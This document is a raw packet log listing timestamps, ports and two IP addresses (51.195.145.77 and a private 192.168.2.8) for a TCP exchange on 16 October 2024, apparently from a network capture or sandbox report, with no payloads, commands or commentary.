Oct 16, 2024 20:39:19.447551966 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447561026 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447570086 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447580099 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447588921 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447607994 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447694063 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447702885 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447710037 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447736979 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447746038 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447887897 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447937012 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447947025 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.447984934 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448065996 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448076010 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448091984 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448143005 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448153019 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448200941 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448246002 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448256016 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448308945 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448354959 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448424101 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448431969 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448462009 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448533058 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448542118 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448553085 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448658943 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448668003 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448776960 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448831081 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448879004 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448889017 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448935986 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.448966980 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449026108 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449078083 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449086905 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449198008 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449208021 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449217081 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449225903 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449234962 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449244022 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449253082 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449260950 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449269056 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449318886 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449328899 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449337006 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.449345112 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:19.491158009 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.281784058 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.284725904 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285016060 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285099983 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285161018 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285231113 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285299063 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285355091 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285428047 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285528898 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285610914 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285686970 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285743952 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285826921 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285887003 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.285990000 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.286055088 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.286128044 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.286194086 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.286278009 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.286340952 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.289556026 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290112019 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290128946 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290138960 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290152073 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290162086 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290200949 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.290222883 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.290249109 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290260077 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290271044 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290313959 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290324926 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290333986 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.290354967 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290373087 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.290422916 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290426970 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.290484905 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290522099 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290592909 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.290597916 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290657997 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.290723085 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290735006 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290755033 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290811062 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.290867090 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290875912 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290905952 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290927887 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.290961981 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.290980101 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291073084 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291083097 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291207075 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291217089 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291218996 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291270971 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291310072 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291321039 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291379929 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291393995 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291414976 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291435003 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291440010 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291461945 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291482925 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291490078 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291546106 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291579008 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291588068 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291631937 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291631937 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291641951 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291695118 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291699886 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291737080 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291747093 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291754961 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291775942 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291785002 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291804075 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291829109 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291841984 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291882038 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291893005 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291903019 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291929007 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291949987 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.291958094 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291985035 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.291996956 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292047024 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292047977 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292059898 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292102098 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292186022 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292196035 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292205095 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292215109 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292227983 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292237997 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292247057 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292256117 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292268038 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292278051 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292279005 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292288065 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292298079 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292301893 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292306900 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292316914 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292335987 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292370081 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292493105 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292504072 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292514086 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292524099 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292534113 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292541981 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292562962 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292573929 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292582035 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292591095 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292593956 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292601109 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292613983 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292614937 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292627096 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292656898 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292664051 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292674065 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292679071 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292690039 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292700052 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292709112 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292718887 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292720079 CEST	49707	57942	192.168.2.8	51.195.145.77
Oct 16, 2024 20:39:20.292756081 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292764902 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292774916 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292788029 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292798042 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292808056 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292815924 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292828083 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292908907 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292918921 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292928934 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292937994 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292947054 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292958021 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292967081 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.292975903 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293045044 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293055058 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293123007 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293132067 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293236971 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293246031 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293255091 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293265104 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293275118 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293284893 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293303967 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293313026 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293322086 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293333054 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293421030 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293431044 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293441057 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293450117 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293459892 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293471098 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293481112 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293490887 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293549061 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293557882 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293566942 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293577909 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293587923 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293596983 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293606043 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293699026 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293709040 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293718100 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293726921 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293735981 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293745995 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293756008 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293764114 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293773890 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293956041 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293966055 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293973923 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293983936 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.293992996 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294003010 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294013023 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294022083 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294030905 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294040918 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294050932 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294060946 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294071913 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294080973 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294090033 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294101000 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294338942 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294348955 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294357061 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294365883 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294375896 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294388056 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294397116 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294405937 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294418097 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294426918 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294436932 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294447899 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294456959 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294466019 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294476032 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294485092 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294493914 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294503927 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294513941 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294523001 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294532061 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294542074 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294734955 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294744015 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294753075 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294763088 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294771910 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294780970 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294791937 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294805050 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294814110 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294822931 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294831991 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294842005 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294851065 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294859886 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294868946 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294878006 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294888020 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294897079 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294905901 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294917107 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294925928 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294935942 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294945002 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294955015 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.294966936 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295137882 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295149088 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295159101 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295169115 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295177937 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295187950 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295207024 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295217991 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295227051 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295236111 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295244932 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295253992 CEST	57942	49707	51.195.145.77	192.168.2.8
Oct 16, 2024 20:39:20.295263052 CEST	57942	49707	51.195.145.77	192.168.2.8
